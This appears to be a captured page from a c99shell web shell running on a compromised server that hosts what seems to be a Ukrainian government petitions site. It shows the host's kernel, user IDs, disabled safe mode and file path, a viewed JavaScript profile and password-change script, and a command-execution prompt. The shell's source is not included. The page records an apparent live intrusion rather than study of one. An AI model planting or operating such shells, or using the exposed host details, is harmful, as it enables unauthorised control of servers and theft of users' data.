Software: Apache/2.2.22 (Debian). PHP/5.6.36 uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) Safe-mode: OFF (not secure) /home/h33678/data/www/petitions.zt-rada.gov.ua/modules/users/js/ drwxr-xr-x |
Viewing file: Select action/file-type: var usersProfileEditViewModelClass = function(user_firstname, user_lastname, user_middlename, user_email) { var self = this; this.user_firstname = ko.observable(user_firstname); this.user_lastname = ko.observable(user_lastname); this.user_middlename = ko.observable(user_middlename); this.user_email = ko.observable(user_email); this.user_oldpassword = ko.observable(); this.user_newpassword = ko.observable(); this.user_newpassword2 = ko.observable(); this.passwordChangeVisible = ko.observable(false); this.userProfileChangePending = ko.observable(false); this.showChangeFioBlock = function() { $("#changeFioBlock").slideDown(500, function() { self.userProfileChangePending(true); }); } this.hideChangeFioBlock = function() { $("#changeFioBlock").slideUp(500, function() { self.userProfileChangePending(false); }); } this.cancelPendingChangeFio = function(context, event) { $.post('/users/profile/ajax/cancel', {}, function(data) { self.hideChangeFioBlock(); Materialize.toast(data.message, 4000) },'json'); } this.saveUserInfo = function() { var $profileform = $("#profile-form"); if ($profileform[0].checkValidity() == false) { Materialize.toast('Помилка. Перевірте ще раз правильність введених даних', 4000); return; } var formData = {user_firstname : self.user_firstname(), user_lastname : self.user_lastname(), user_middlename : self.user_middlename()}; if (self.passwordChangeVisible() == true) { formData['user_oldpassword'] = self.user_oldpassword(); formData['user_newpassword'] = self.user_newpassword(); formData['user_newpassword2'] = self.user_newpassword2(); } $.post('/users/profile/ajax/change', formData, function(data) { //self.userProfileChangePending(true); if (data.result.indexOf(-1) != -1) { self.user_oldpassword(''); } if (data.result.indexOf(-2) != -1) { self.user_newpassword(''); self.user_newpassword2(''); } if (data.result.indexOf(1) != -1) { self.user_oldpassword(''); self.user_newpassword(''); self.user_newpassword2(''); self.passwordChangeVisible(false); } if (data.status == true) { self.showChangeFioBlock(); $("#new-fio").text(self.user_firstname() + ' ' + self.user_lastname() + ' ' + self.user_middlename()); } if (data.message instanceof Array) { for(var i = 0; i < data.message.length; i++) Materialize.toast(data.message[i], 8000); } else Materialize.toast(data.message, 4000); },'json'); } } var usersProfileEditViewModel; $(document).ready(function() { usersProfileEditViewModel = new usersProfileEditViewModelClass( $('#user_firstname').val(), $('#user_lastname').val(), $('#user_middlename').val(), $('#user_email').val()); ko.applyBindings(usersProfileEditViewModel); if ($("#new-fio").text().length > 2) usersProfileEditViewModel.userProfileChangePending(true); }); |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.012 ]-- |